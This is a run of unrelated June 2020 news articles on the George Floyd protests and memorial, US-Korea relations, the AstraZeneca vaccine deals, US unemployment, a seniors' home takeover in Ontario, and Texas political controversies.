President Trump has received enormous criticism for his handling of the George Floyd protests with backlash coming from both side of the political aisle.

Jim 'Mad Dog' Mattis, Trump's former Secretary of Defense, was the latest to lambaste the president over claims he's dividing the United States.

'Donald Trump is the first president in my lifetime who does not try to unite the American people - does not even pretend to try,' Mattis wrote.

On Thursday, the first of several memorials for Floyd was held at a sanctuary in North Central University.

Several Hollywood celebrities, politicians, musicians and public figures attended the memorial service.

Pictured: Protesters hold their hands in the air waiting to be arrested by the Los Angeles County Sheriff's Department for violation of curfew at Grand Park on Wednesday

George Floyd's family members surround his golden casket at the Lindquist Sanctuary at the North Central University on Thursday during the first of three memorial services in the next six days in his honor

The Rev. Al Sharpton delivers a passionate address at the memorial of George Floyd at the North Central University in Minneapolis on Thursday

Minneapolis Mayor Jacob Frey was seen sobbing uncontrollably while kneeling next to Floyd's gold coffin.

Civil rights activist Rev Al Sharpton blasted Trump in a passionate eulogy, including a critique of a staged photo Trump took in front of St. John's church with a Bible earlier this week.

'I've never seen anyone hold a Bible like that (and) I've been preaching since I was a little boy. If he's watching us today, I'd like him to open that Bible and reach Ecclesiastes 3: 'To every season, there is a time.' I'd like him to understand what time it is,' Sharpton said.

'We cannot use Bibles as a prop. For those that have agendas that are not about justice, this family will not let you use George as a prop. Let us stand for what is right.'

At one point during the service, mourners stood in silence for 8 minutes and 46 seconds to mark the fatal length of time the officer held his knee to Floyd's neck.
A section of Ranchers Road near Cameron in the City of Kawartha Lakes reopened to traffic at around 9 p.m. Friday after being closed for nearly eight hours for an investigation of a serious collision that left six people injured.

One person was taken by Ornge air ambulance to a Toronto hospital for treatment of critical injuries, according to the City of Kawartha Lakes OPP.

Five others were taken to Ross Memorial Hospital in Lindsay for treatment of minor injuries.

The collision happened at about 1 p.m. Friday.

OPP technical collision investigators were brought to the scene for the investigation which closed Ranchers Road between Long Beach Road and City of Kawartha Lakes Road 121, about 60 kilometres northwest of Peterborough.
Marc Knapper / Korea Times file



The United States continues to urge South Korea to show "flexibility" in negotiations over sharing the cost of the American troop presence there, notwithstanding a recent agreement to have Seoul pay for Korean workers on U.S. bases, a State Department official said Thursday.



The allies have for months tried to reach a new Special Measures Agreement stipulating how much South Korea will contribute to the cost of keeping 28,500 American troops stationed on the peninsula.



The negotiations have hit an impasse amid U.S. demands for a significant increase in Seoul's share, but the two sides agreed earlier this week to let South Korea fund the labor costs for thousands of Korean workers who were furloughed by U.S. Forces Korea in April due to the absence of a new deal.



Marc Knapper, deputy assistant secretary of state for Korea and Japan, said the development addressed the "human cost" of failing to renew the SMA, but also concerns about troop readiness.



"Ultimately the SMA is about ensuring that our alliance is capable and ready to deter and, if necessary, defend against North Korean aggression," he said during a virtual seminar hosted by the Center for Strategic and International Studies. "Having all these workers furloughed, we were concerned it would impact our readiness, impact our ability to honor our treaty commitments."



The recent agreement allows South Korea to pay for the labor costs through the end of the year, but it leaves the issue of reaching a new SMA unresolved.



Washington has asked Seoul to pay a total of US$1.3 billion a year, a 50 percent increase from last year, while South Korea has insisted on a 13 percent increase.



"I think we believe we've been very flexible," Knapper said. "Now we're urging the South Korean government to show the same flexibility."



Knapper also touched on last week's controversial transport of military hardware to a U.S. missile defense base in South Korea.



Contrary to reports that it was aimed at reinforcing the unit, known as the Terminal High Altitude Area Defense system, Knapper said it was part of a routine upgrade.



"These systems require upgrades, just like your computer requires an upgrade every once in a while. So that was really it," he said.



Commenting on U.S. President Donald Trump's invitation of South Korea to a Group of Seven summit in the fall, which President Moon Jae-in promptly accepted, the official emphasized that nothing has been finalized in terms of South Korea becoming a member of the group.



"It's a discussion still under way here in terms of what this will look like," he said, noting that as the host country the U.S. has the prerogative to invite guests, as previous host countries have done.



"The only other thing I would say, though, is that expanding or changing the format or the membership permanently of the G7 requires consensus or unanimity among all the members," he added.



Meanwhile, amidst ongoing U.S.-China tensions over civil liberties in Hong Kong, Knapper welcomed the South Korean foreign ministry's statement in support of the 1984 Sino-British Joint Declaration.



"The South Koreans came out with (what) I think was an unprecedented statement from them," Knapper said, citing the ministry's reference to the "one country, two systems" rubric ensuring Hong Kong's autonomy from China.



It was also "significant" that South Korea's statement came not long after it commemorated the 40th anniversary of the May 18 Democratization Movement in Gwangju, he said, "in recognition that South Korea enjoys the kind of democratic values that are under threat right now throughout the world and particularly in the region, and especially in Hong Kong." (Yonhap)


SEOUL (Reuters) - North Korea on Thursday said the United States is in no position to criticise China over Hong Kong or human rights when Washington threatens to "unleash dogs" to suppress anti-racism protests at home.

In an article carried by one of North Korea's main state-run newspapers, an unnamed spokesman for the international affairs department of the ruling Workers' Party of Korea (WPK) criticised recent comments by U.S. Secretary of State Mike Pompeo.

Speaking to Fox News on Sunday, Pompeo said recent actions by the Chinese Communist Party suggest it is "intent upon the destruction of Western ideas, Western democracies, Western values" and "puts Americans at risk."

Pompeo's remarks on Hong Kong, Taiwan, human rights and trade disputes were "nonsense" that slandered the leadership of the Communist Party of China (CPC), the WPK spokesman said.

"Pompeo, who has been deeply engrossed in espionage and plot-breeding against other countries, has become too ignorant to discern where the sun rises and where it sets," the spokesman said.

Such statements by American leaders are a sign of their concerns about a declining United States, he said, citing the ongoing protests against police brutality.

"Demonstrators enraged by the extreme racists throng even to the White House," the spokesman said. "This is the reality in the U.S. today. American liberalism and democracy put the cap of leftist on the demonstrators and threaten to unleash even dogs for suppression."

South Korea's Yonhap news agency said it was the first time the WPK international affairs department had issued a statement of its own since North Korean leader Kim Jong-un took power in 2011.

(Reporting by Josh Smith. Editing by Gerry Doyle)
AstraZeneca will know by August if the mooted AZD1222 coronavirus vaccine is effective. (Reuters/Brendan McDermid)

Cambridge-based drugmaker AstraZeneca (AZN.L) this week signed two deals that will allow it to double the supply of a potential coronavirus vaccine to 2 billion doses.

A $750m (609m) deal with two charities backed by the Bill and Melinda Gates Foundation  the Coalition for Epidemic Preparedness Innovations (CEPI) and the GAVI vaccines alliance  will see it manufacture, procure, and distribute 300 million doses.

The second partnership, with the Serum Institute of India (SII), will see it provide 1 billion doses to low-and-middle-income countries, including 400 million before the end of 2020.

AstraZeneca chief executive Pascal Soriot said that the company should know by August if the mooted AZD1222 coronavirus vaccine is effective, while CEPI chief executive Richard Hatchett has warned that there is still a chance it may not work.

READ MORE: AstraZeneca and University of Oxford team up on potential COVID-19 vaccine

The vaccine, developed by the University of Oxfords Jenner Institute and the Oxford Vaccine Group, is currently being tested in around 10,000 adult volunteers.

Late-stage trials in a number of countries will soon begin, AstraZeneca said, noting that, while it recognised the vaccine may not work, it was committed to progressing the clinical programme with speed.

We are working tirelessly to honour our commitment to ensure broad and equitable access to Oxfords vaccine across the globe and at no profit, said Soriot on Thursday.

Today marks an important step in helping us supply [to] hundreds of millions of people around the world, including to those in countries with the lowest means. I am deeply grateful for everyones commitment to this cause and for their work in bringing this together in such a short time, he said.

READ MORE: AstraZeneca to begin supply of Covid-19 vaccine in September

Last month, AstraZeneca signed a one-year deal with Oxford BioMedica, which operates a large commercial manufacturing centre, to produce multiple batches of the vaccine candidate.

The company said on Thursday that it was building a number of global supply chains in parallel to support access to the vaccine at no profit, noting it had secured manufacturing capacity for 2 billion doses.

United Nations secretary general Antonio Guterres said on Thursday that a vaccine must be seen as a global public good, and said that a number of world leaders were now calling for a peoples vaccine.
A Hong Kong restaurant groups coronavirus handbook has unexpectedly been taken up by eateries all over the world.

Black Sheep Restaurants, which operates 25 restaurants across Hong Kong, created a Covid-19 playbook early on in the crisis.

It details a plan of how to adjust procedures so that dining establishments can reopen safely amid the pandemic, with advice on everything from wearing masks to dealing with problematic customers.

Here in Hong Kong, we were at a bit of an advantage because many of us have SARS PTSD  there is a collective understanding of what we need to do to get through this, co-founder Asim Hussain told CNN Travel.

We knew it would spread in Hong Kong quickly because there is so much travel between Wuhan and Hong Kong  it was only a matter of time.

The companys 17-page document of guidelines was initially just meant to be shared internally, but in the end the decision was made to put it online so that other restaurateurs could benefit.

We have had emails from people in Brazil in the west to Japan in the east, from India, the US, the UK, Australia ... and so far, the books been translated into four languages, says Hussain.

The response has really surprised and touched us.

The advice in the handbook is comprehensive and practical, with three measures in particular having a huge impact, according to Hussain.

He advocates requiring all staff to wear masks at all times, plus recommends also making masks mandatory for diners until they start eating.

Collecting health and travel declaration forms, so that patrons can be contacted if there is a confirmed case of Covid-19 at the restaurant, is also advised.

Thirdly, Hussain says that temperature checks should be done at the door  any guest with a high fever is turned away.

How coronavirus lockdowns changed the world's most polluted cities Show all 6 1 /6 How coronavirus lockdowns changed the world's most polluted cities How coronavirus lockdowns changed the world's most polluted cities Milan, Italy REUTERS How coronavirus lockdowns changed the world's most polluted cities North Jakarta, Indonesia REUTERS How coronavirus lockdowns changed the world's most polluted cities Jakarta, Indonesia REUTERS How coronavirus lockdowns changed the world's most polluted cities Venice, Italy REUTERS How coronavirus lockdowns changed the world's most polluted cities New Delhi, India REUTERS How coronavirus lockdowns changed the world's most polluted cities Islamabad, Pakistan REUTERS

Once inside, guests should be given a hygiene kit containing hand sanitizer and a paper bag for storing their face masks, according to Black Sheep Restaurants.

Other guidance includes recommendations for managing customer behaviour.

Try and think about various scenarios and give your team guidance on how to handle them, says the handbook. What if someone who signed the health declaration starts displaying symptoms like coughing? What if you notice someone is wearing a quarantine bracelet [a wristband worn by those who should be quarantining for 14 days]?

Many restaurants have now used the rules to help them prepare for the post-lockdown world, including Eleven Madison Park in New York City, Chefs Warehouse and Cookery School in Cape Town, TIRPSE in Japan, and Room 4 Dessert in Bali.

Adversity can be a beautiful thing; it brings people together, added Hussain. And I think in a world where theres been so much uncertainty and misinformation, this book was just our honest attempt of fighting this together.
The US Department of Justice (DoJ) and state regulators may be investigating Googles search engine dominance, according to Bloomberg. In an interview, DuckDuckGo CEO Gabriel Weinberg said that officials asked him questions about the idea of forcing rival Google to give users search alternatives both on Android and in Chrome.

State and federal investigators have been probing Googles Android dominance, digital advertising and other issues, but since charges have yet to be filed, few details are known. Weinbergs statement, however, reveal that the US may try to boost competition in search, by far Googles largest business. As it stands, the company owns around 93 percent of the search market with revenue around $100 billion, while rivals are left to pick up the relative crumbs.

In 2018, the European Union fined Google a record $5 billion for antitrust violations. It also forced Google to provide Android users with a choice of browser and search engine, among other measures. Google hasnt been forced to take similar actions in its home market, but Weinbergs comments suggest the US may be pondering similar actions.

Neither Google nor investigators have confirmed the comments, while state and federal antitrust charges against the company have yet to materialize as expected. With COVID-19 lockdown measures slowly being eased in the US, however, the case could start to gather momentum once again.
Unemployment in the United States declined slightly in May to 13.3 percent, according to new estimates issued Friday by the U.S. Department of Labor.

The figure was an improvement from Aprils rate of 14.7 percent, but was still drastically higher than the 4.4 percent charted in March. The Bureau of Labor Statistics bases its figures on surveys that reflect employment at mid-month.

The report arrived a day after the state Department of Labor reported 23,000 fewer people were receiving jobless benefits in Connecticut than there were last week, among the bigger drops nationally. Labor Commissioner Kurt Westby said he interpreted the trend as evidence the state is rebounding on employment, though with a long way to go as 250,000 people still are getting compensation.

The U.S. bureau noted the impact of renewed activity in May in the leisure and hospitality sectors, as well as retail, construction and health services as physicians began scheduling medical procedures that had been tabled as hospitals were overwhelmed with coronavirus patients.

Gov. Ned Lamont allowed retailers and restaurants to resume limited services on May 20, and Foxwoods and Mohegan Sun reopened their casinos on June 1, with the resorts supporting thousands of jobs at full operation.

You can call off the dogs, this is no longer a Great Depression with 25 [percent] of Americans out of work, Chris Rupkey, an economist with New York-based Mitsubishi UFJ Financial Group, said in a client note on Friday morning. It fits the story hand and glove with the states reopening in May even if there is still a lot of head-scratching going on among economists.

Though the country has turned the corner from the pandemic-induced recession, there still will be a long road back to solvency for many, he said.

All the workers who lost their paychecks will find it difficult to regain their place in society as many of these jobs are gone forever, Rupkey said.

More Business Turnaround in sight? CT jobless ranks drop despite fresh claims

The DOL estimated unemployment to be at 8 percent in Connecticut as of mid-April. But that was rejected as artificially low by the state Department of Labor, given the volume of initial claims for jobless benefits filed in the state since the start of the pandemic, which numbered more than 566,000 as of Thursday morning.

An expert on Connecticuts economy cautioned Friday against any irrational economic expectations for the coming months, saying the full weight of the coronavirus shutdowns will be playing out for some time as businesses better gauge post-pandemic sales against staffing needs.

In the slow-growth economy, employers dont add workers unless it adds to  profitability, said Donald Klepper-Smith of DataCore Partners in New Haven. You are going to make do with your existing workforce. ... Employers right now, a lot of them are scrambling. The small business sector in Connecticut is suffering big time  theres no question about it.

Lamont acknowledged the pressure faced by more than 56,000 small businesses in Connecticut that borrowed $6.6 billion to keep employees on the payroll under the Paycheck Protection Program. As those loans reach maturity dates, additional layoffs could be possible if business revenues have not recovered sufficiently to support the staffs those companies were carrying before the pandemic struck.

On Friday, President Trump signed a bill extending PPP deadlines and loosening some requirements.

Dan Haar contributed to this report. Includes reporting by Ken Dixon and Emilie Munson.

Alex.Soule@scni.com; 203-842-2545; @casoulman
(Newser)  A Nebraska mayor who insisted she wouldn't apologize for an online comment has offered her mea culpa after all. NBC News reports the trouble started when Omaha Mayor Jean Stothert earlier this week put in place a city curfew due to protests over the death of George Floyd. Soyeon Sohn, a Korean American woman who was adopted as an infant and raised in Hastings, posted an apparently negative comment on Stothert's official Facebook pageone that Stothert didn't like. Her reply to Sohn: "A Facebook troll who hides behind symbols and doesn't list their name, is a coward." The "symbols" Stothert spoke of were letters of the Korean alphabet, spelling out Sohn's name. "A public official making that statement publicly on her own Facebook page degrading a citizen [is] just uncalled for and unprofessional," says Sohn.

story continues below

WOWT reports Stothert got lots of flak for her comment, and the post was soon taken down. The mayor's office issued a statement noting that "hundreds of comments on the post devolved into name calling, harassing, and threatening" and violated the page's terms of use. A Stothert rep initially said the mayor wouldn't resign or apologize, as Sohn was painted by Stothert's legal team as a "troll" who often shows up on the mayor's page to stir things up. Still, on Wednesday, Stothert did indeed apologize at the end of a presser on the curfew, as well as pen an apology letter that was posted on the Korean Association of Nebraska's Facebook page. "It was not my intent to question her background or heritage," Stothert says in her note. "I apologize to Ms. Sohn and all who were offended." The mayor, Sohn, and the head of the association planned to meet. (Read more Nebraska stories.)
Photo: (Photo : Screenshot from Instagram)

Authorities are investigating the welfare of the child, Huxley. He is the 5-year-old boy who was formerly adopted by YouTuber Myka Stauffer.

Delaware County Sheriff's Office confirmed the report to E! News and BuzzFeed News. The investigation sprouted after the office received several queries about the welfare of Huxley.

Last week, the Stauffers made it to the headlines all over the world after deciding to rehome Huxley.

The family received backlash from the online community for their decision. Some brands have also decided to discontinue partnering with the mom blogger.

READ ALSO: YouTuber Myka Stauffer Speaks About Rehoming Adopted Son Who Helped Her Gain Followers

Investigation on the Mom Blogger's Former Son

According to the spokesperson of the Delaware County Sheriff's Office, Tracy Whited, they are primarily concerned about Huxley's well-being. However, they are also looking at the safety of the other children in the Stauffer residence. "Our investigation is ongoing, and will include contact with all children to ensure their safety," Whited said.

She also emphasized that all adoptions are confidential. However, the spokesperson ensured the public that Huxley is not missing.

The Sheriff's office is working with several other agencies regarding this investigation, according to a report from BuzzFeed.

Huxley's Rehoming, According to the Stauffers

There are not many details about where Huxley is. Although, the Stauffers, in a video about Huxley's rehoming, assured their viewers that Huxley is in a new "forever family."

The mom blogger also said in the video that Huxley is with a family that is seen as the best fit for Huxley's condition. The family worked with agencies to handle Huxley's rehoming.

Myka also mentioned that Huxley's new mother has training in the medical field. She believes that this suits the 5-year-old boy's situation.

Myka also said that they did not share so much about their former son's condition for Huxley's privacy.

READ ALSO: Kids' Adoption Confirmations Done Virtually Due to the Pandemic

Endorsements got canceled for the Mom Blogger

Along with the backlash that the Stauffers received from people on the Internet are other consequences. The decision to rehome Huxley also led to other mishaps in the mom blogger's career.

Brands like Playtext Baby, Suave, Big Lots, Danimals, and Chili's have decided that they are not planning to have any more partnerships with Myka Stauffer.

Chili's and Danimals clarified that they had made paid endorsements with Stauffer in the past, but will no longer pursue doing so in the future.

The mom blogger also previously partnered with the activewear company of actress Kate Hudson. In her Instagram account, Hudson mentioned that they also have no more plans to partner with Stauffer. She also said that Fabletics had terminated future brand deals with the family.

Last week, a lot of netizens called out these brands online because of the rehoming decision of the Stauffers. Many of the supporters believe that Huxley paved the way for the family to earn subscribers on their YouTube channel.

READ ALSO: Now Is The Perfect Time to Be Foster Parents
Sienna Senior Living, one of the long-term care companies named in a multimillion-dollar lawsuit, has lost control of another facility after the Ontario government stepped in Thursday to appoint William Osler Health System as interim manager of Woodbridge Vista Care Community in Vaughan.

The reason cited by the government for the takeover was that the Woodbridge home has been unable to contain the spread of COVID-19.

The long-term-care home has 65 confirmed patient cases, 20 confirmed employee cases and 17 deaths, as of May 31 according to provincial statistics.

The governments announcement comes on the heels of a scandal involving a senior executive of Sienna, who was recorded Wednesday night making insensitive comments about the family members of Woodbridge Vista Care residents after she thought she ended a Zoom call with them.

Joanne Dykeman, who was executive vice-president of operations for Sienna, made disparaging comments about one family member who expressed concern about the use of PPE and about concerns the virus could spread from floor to floor because employees were working on both COVID and non-COVID floors, said Nick Puopolo, who recorded her comments.

Puopolos 85-year-old mother Savirea Puopolo is a resident of the home. Puopolo said his mother, who has tested positive for the virus, is lethargic and isnt eating or drinking.

Dykeman also made comments about another person who asked everyone participating in the virtual town hall to complain to the Ontario Ministry of Health.

She was then recorded saying Here comes another bloodsucking lawsuit, to someone in the room with her.

The company confirmed that Dykeman was let go from the company as of Thursday afternoon.

While she is deeply regretful of the comments she made yesterday evening, she also understands that they do not meet either her expectations, nor those of our organization, according to an emailed statement from Lois Cormack, president and CEO of Sienna Senior Living and Dino Chiesa, chair of the companys board of directors.

Our residents and their loved ones are deserving of our respect at all times and as a company we will ensure this respect guides our every action.

Puopolo said about 80 people were on the virtual town hall, which lasted from 7 p.m. to 8 p.m. Thursday.

He said it was a frustrating experience because only seven people were allowed to ask questions and Dykeman gave long-winded nonsubstantive answers that took up precious minutes.

When the Zoom call ended, and everyone was signing off, Puopolo said he still had his headset on when he saw Dykeman close her laptop.

By that time, he said he and his wife Nancy Dow were so unhappy they were ready to go down to the home and forcibly take it over and risk jail.

Puopolo was one of at least two people listening in when Dykeman made the comments.

Im listening and I can hear her talking in the background and on my screen it says her name, that shes still on the line, says Puopolo. We start recording. And shes swearing, blood sucking lawsuit, and a man jumps in  What do you expect? Theyre people from Woodbridge, said Puopolo. It was disgusting.

Emails about the comments started to circulate in the group soon after the call ended, including one from Puopolo that included Dykeman, letting her know that he had recorded her comments and that he was contacting the government to ask them to take over the management of the home.

And thats what got the ball rolling, said Puopolo. If Dykeman had logged off he says wed still be fighting them right now.

A representative of Premier Doug Fords office called Puopolo to let him know William Osler was taking over the facility.

In a release Thursday, Sienna Senior Living outlined a plan to improve care and management at its homes that includes more training for staff, hiring a health and long-term care expert to advise its board and a company-wide review by former provincial deputy attorney general Paul Boniferro.

Under our action plan, our staff will be undergoing sensitivity training that emphasizes our zero-tolerance policy for inappropriate behaviour, said Cormack and Chiesa in the statement emailed by Sienna to the Star late Thursday.

It is clear that Joanne Dykemans comments yesterday evening fell far short of our expectations for our team members, and the consequences under our zero-tolerance policy are well understood, said Cormack and Chiesa.

We have already been in contact with the families of Woodbridge Vista and are deeply apologetic for any pain these comments caused.

Puopolo said the review is meaningless unless its done by an independent outsider. Hes asked the provincial ombudsmans office to investigate.

Im going to do whatever I can to get the familys voices heard, said Puopolo. Weve got this thing between our teeth now. And just because shes fired  Im not sure if they think because shes gone now its all OK. Its not. Its just the beginning. I want to see someone behind bars.
Since Minneapolis restaurant and former Salvation Army employee George Floyd was killed in police custody, religious leaders of all faiths across the Capital Region expressed their sorrow and issued calls for justice for the Floyd family and vowed to work peacefully to end racism. Here are excerpts from several statements:

Bishop Edward Scharfenberger, Roman Catholic Diocese of Albany:

"As followers of Jesus Christ and as Catholics, we have the responsibility and mandate to eliminate the tragedy and scourge of racism. Our hearts ache for the family of George Floyd who suffered and died senselessly at the hands of those sworn to serve and protectIt is not enough just to decry injustice, or even to pray and sympathize with those who suffer from an everyday experience of being treated as inferior or unworthy because of their racial or ethnic identities. This must be our constant work. We have no more urgent task than to join with those of all faiths in promoting the God-given dignity of each and every person, and to come together in these troubling days of our national life to bring about understanding, acceptance and healing among people of all races and backgrounds."

The Salvation Army USA:

The Salvation Army joins in the sorrow, anger and confusion felt by Americans across the country following the death of George Floyd. Mr. Floyd was a former Salvation Army employee in Minneapolis, and the nature of his death is shocking to all of us who believe in a just, lawful and equal society. (We believe) Gods love is all-encompassing and it urges us to reject racism and discriminationWe are committed to fighting racism wherever it exists and will speak up wherever we encounter itWe do not claim to be perfect as an organization or as individuals; we can all be better, and we can all do more. We encourage people of good will to look closely at their own attitudes to determine how they can contribute peacefully to solving this problem. We will do the same to make sure that George Floyds life serves as a reminder of the goal we all strive to achieve.



The Imams and Boards of the Mosques in the Capital District in response to the killings of Ahmaud Arbery, Breonna Taylor and George Floyd:

As fellow brothers and sisters in humanity, we are profoundly concerned and saddened by the aforementioned crimes as well as other incidents of racism, xenophobia and the infringement of God-given rightsRegardless of our race or religion, we must work together, E pluribus unum (the United States motto: out of many one), with every institution and organization willing, including millions in the law enforcement community, to heal the sickness of racism that has been inflicting immense and long lasting pain on our countryAllah, the Almighty, sanctifies every human life

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.



Capital District Board of Rabbis, Jewish Family Services of Northeastern New York, Jewish Federation of Northeastern N.Y. and the Albany and Schenectady Jewish Community Centers:

The Capital Regions Jewish community is grief stricken. We stand in solidarity with our black brothers and sisters in the Jewish community and beyond, as we all mourn the violent death of George Floyd. The Jewish community rejects racism and bigotry in all its forms in our society. Along with civil rights leaders, local officials, and other religious leaders, we express our respect and empathy for every human being as we are taught that each person is created BTzelem Elohim (in the sacred image of God)Our tradition teaches: Do not stand idly by while your neighbor bleeds (Leviticus 19:16).

Colonies Al Fatemah Islamic Center via Haider Khwaja, board of directors:

We strongly condemn the killing of Mr. George Floyd. Our Prophet Muhammad, peace be upon him, taught that no person is above another due to race or ethnicity. In his Last Sermon on Mount Arafat in 632 AD, he condemned all racism saying: All mankind is descended from Adam and Eve, an Arab has no superiority over a non-Arab nor a non-Arab has any superiority over an Arab; also a white has no superiority over a black nor a black has any superiority over a white  except by piety and good action. We keep this teaching in our hearts. We must strive together for equality and justice for all.

Cathedral of All Saints Dean Leander S. Harding:

It is part of our mission and ministry that each day prayers should be offered in this cathedral church for peace and justice and for the good of the cityAt the Midday Mass today, Monday June 1, prayers will be offered for George Floyd, the black man killed in police custody in Minneapolis and for Dave Patrick Underwood, the Federal officer killed in the rioting in Oakland, California and for two black teenagers shot in Albany on Saturday night in an incident unrelated to the riot in our cityWe will pray for all victims of injustice and violence not known to us but known to God.
Harris County Commissioner Adrian Garcia urged Houston Police Chief Art Acevedo to reveal how he plans to reform his department in a tweet Thursday evening, prompting a rebuke from the chief that led to a short but lively public exchange.

The back-and-forth began when Garcia, a former Harris County sheriff, posted a Houston Chronicle story that noted Acevedo has refused to release body camera video of several fatal shootings by his own officers, despite calling for more transparency in law enforcement in the wake of George Floyds fatal encounter with Minneapolis police.

Garcia urged Acevedo to share his reforms, to which the chief replied: Commissioner, if you would like to have public discussion and compare our reform positions and records I would very much welcome it. We can start with a discussion with your position on 287G while you were (sheriff) and go from there and move to bail reform, accountability, etc.

Acevedos response was an apparent reference to Garcias support for U.S. Immigration and Customs Enforcements controversial 287(g) program, which trains deputies to check inmates immigration status and help initiate deportation proceedings on those in custody for other suspected offenses.

Elimination of 287(g) would mean the failure to refer to ICE for possible removal many violent, dangerous, experienced criminals who had no previous contact with ICE before being charged with a state crime in Harris County, Garcia told the Chronicle in 2012, when the Obama administration proposed spending cuts for the program.

Harris County Sheriff Ed Gonzalez cut ties with the program in February 2017, the month after he took office.

Garcia responded to Acevedos jab by telling him to share why you havent released your audit, referring to the probe into the Houston Police Departments narcotics division that was rocked last year by one of its worst scandals in decades.

Acevedo maintains that an internal investigation into the officer at the center of the botched 2019 drug raid showed his department could police itself, but he has refused to reveal the findings of the narcotics audit.

The barb prompted Acevedo to accuse Garcia of cast(ing) stones and repeat his reference to the 287(g) issue.

Garcia responded, Chief I regret you feel like stones are being cast. Not my intention, Im simply urging you to share your reforms so that the work of all rank and file can be a bit easier. HPD has led in different times in the past, it needs to lead now.

Harris County Commissioner Rodney Ellis also weighed in, quote-tweeting Garcias initial post with the comment: There is plenty of room for our City, County, State and Nation to do a hell of lot more. And do it now. We have all waited too long!

Scott Henson, the Austin-based executive director of the criminal justice reform nonprofit Just Liberty, said he does not view the public beef as a bad thing, in part because officials are discussing topics now that have been almost completely off-limits in the public discourse for decades.

There are a lot of issues to be hashed out that arent always going to be comfortable to debate, Henson said. And that doesnt mean they shouldnt be talked about.

Asked for additional comment Friday, Acevedo said in a text that Houston police are focusing on keeping (the) community and officers safe and working with the Floyd family to (ensure) they can safely celebrate George Floyds life.

Garcia, meanwhile, said he would introduce items at next Tuesdays Harris County Commissioners Court meeting that will hopefully lead to impactful change in Harris County law enforcement agencies. He said officials should push for thoughtful and meaningful action to ensure that excessive use of force, racial injustice, and a criminal justice system that does not serve everyone equally, will no longer be tolerated.

Henson said Acevedos instinct to deflect to Garcias record as sheriff, rather than address the substance of his criticism, is in some ways understandable given the pace and intensity at which America is calling for police reforms in the wake of Floyds death.

These guys world got turned on its head in the last eight to 10 days, Henson said of law enforcement officers. The world has changed in ways that theyre now having to try to adjust to. Theres more accountability focus on their work than there has ever been in decades, and what youre seeing is them trying to adjust to it  sometimes less constructively than one might hope.

jasper.scherer@chron.com
The Indian stock market edged higher on June 5 helped by gains in financial stocks. Sensex is up 102.72 points or 0.3 percent at 34083.42, and the Nifty jumped 55.90 points or 0.56 percent at 10085.00.

The metal index is the outperforming sector, up over 4 percent led by SAIL, Tata Steel and Jindal Steel & Power which jumped 6-7 percent followed by Hindustan Copper, Hindalco Industries, JSW Steel and MOIL.

Share price of SAIL was one of the most active stocks on NSE in terms of volumes with 3,25,41,222 shares being traded at 11:45 hours.

Nifty PSU Bank was up over 2 percent led by State Bank of India which is scheduled to come out with its March quarter numbers. This was followed by PNB, Canara Bank, Bank of Baroda and JK Bank.

The other gainers included RBL Bank, Federal Bank, Bandhan Bank, HDFC Bank, IDFC First Bank, IndusInd Bank and ICICI Bank.

The Oil & Gas index is also up led by ONGC, HPCL and IOC which jumped 3-4 percent followed by Reliance Industries which hit record high after Mubadala Investment Company, the Abu Dhabi-based sovereign investor, will invest Rs 9,093.60 crore in Jio Platform at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore, as per RIL release.

Selective IT stocks are trading lower with the BSE IT index down half a percent. TCS shed 2 percent while Mindtree, Subex, Persistent Systems and Tech Mahindra were the other losers.

India VIX is down 2.16 percent and is trading at 29.05 level.

The top gainers included Tata Steel, ONGC, State Bank of India, Sun Pharma and Power Grid while the top losers included TCS, Bajaj Auto, Hindustan Unilever, Infosys and Hero MotoCorp.

The most active stocks on NSE included Bharti Airtel were 2,61,02,117 shares are traded on NSE followed by Tata Motors which jumped over 8 percent where 9,60,35,470 shares are traded at 12.09 hours. The other most active stocks included Reliance Industries and HDFC Bank.

Amazon.com is in early-stage talks to buy a stake worth at least $2 billion in mobile operator Bharti Airtel, three sources with knowledge of the matter told Reuters, underscoring the growing attraction of India's digital economy for the US tech giants. The planned investment, if completed, would mean Amazon acquiring a roughly 5 percent stake based on the current market value of Bharti, which is India's third-largest telecoms company with more than 300 million subscribers.

Brokerage firm Axis Securities has a buy on Bharti Airtel with target of Rs 650 per share.

: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd.
The incoming chairman of the Harris County Republican Party on Friday rejected calls from high-profile members of his party to resign over his social media post displaying a Martin Luther King Jr. quote next to a banana, a juxtaposition that recalls the racist trope associating black people with monkeys.

Keith Nielsen, who defeated incumbent chairman Paul Simpson in March, apologized for the post Friday and said he had zero malicious intent. He issued a statement calling peaceful protests after George Floyds death an inspiration and testament to the good in humanity and explained why he included a banana in the photo.

I wanted to speak out against the ensuing violence, burning and looting of small businesses across the nation, I simply wanted to say that its bananas to act this way and that peaceful protesters have shown us a better way forward, Nielsen said. I grew up in a home where saying bananas instead of curse words kept us from being punished, but I am not afraid to confront and challenge long-held manners of belief and speech.

Nielsen, who is set to take office Aug. 3, is one of five Texas Republican Party chairs or chair-elects facing heavy criticism and calls to resign this week for sharing racist posts related to the death of Floyd, a black former Houston resident who died after a Minneapolis police officer knelt on his neck.

Nielsens since-deleted Facebook photo included Kings quote that injustice anywhere is a threat to justice everywhere next to a banana.

It differs from the posts shared by chairs of the Bexar, Comal, Nueces and Harrison County Republican parties, each of whom spread conspiracy theories that Floyds death could be a staged event.

Lt. Gov. Dan Patrick, a Republican who lives in neighboring Montgomery County, said Nielsen should withdraw immediately from any further consideration as county chair, calling the post offensive and outrageous.

U.S. Sen. Ted Cruz, who lives in Houston, also called on Nielsen to resign his pending chairmanship.

Dammit, stop it. Stop saying stupid, racist things. Our country is grieving, tweeted Cruz, R-Texas. Lets come together for equal justice under law. Lets unite behind Dr. Kings powerful dream, where all of us are judged, not by race, but by the content of our character.

Nielsen made clear he still plans to assume office, despite the pain he acknowledged his post had created.

I hear you and I am not afraid to confront my shortcomings, Nielsen said. My intentions are good, and Im a fighter  thats why the people of Harris County elected me and I will take office as planned.

U.S. Rep. Michael McCaul, R-Austin, joined the calls for Nielsen to resign Friday afternoon, labeling his post racist and unacceptable. U.S. Rep. Dan Crenshaw, R-Houston, said in a statement that Nielsen has no place in our party. Not now. Not ever.

It is a sad reminder that such blatant ignorance and bigotry still exist, Crenshaw said. When we see it, its our duty to unequivocally condemn it and make sure that people like him have no place in our politics.

Nielsen did resign Friday from his position as a member of the Pasadena planning commission at the request of Mayor Jeff Wagner, city spokeswoman Laura Mireles said. A spokeswoman for Nielsen said he already had planned to resign.

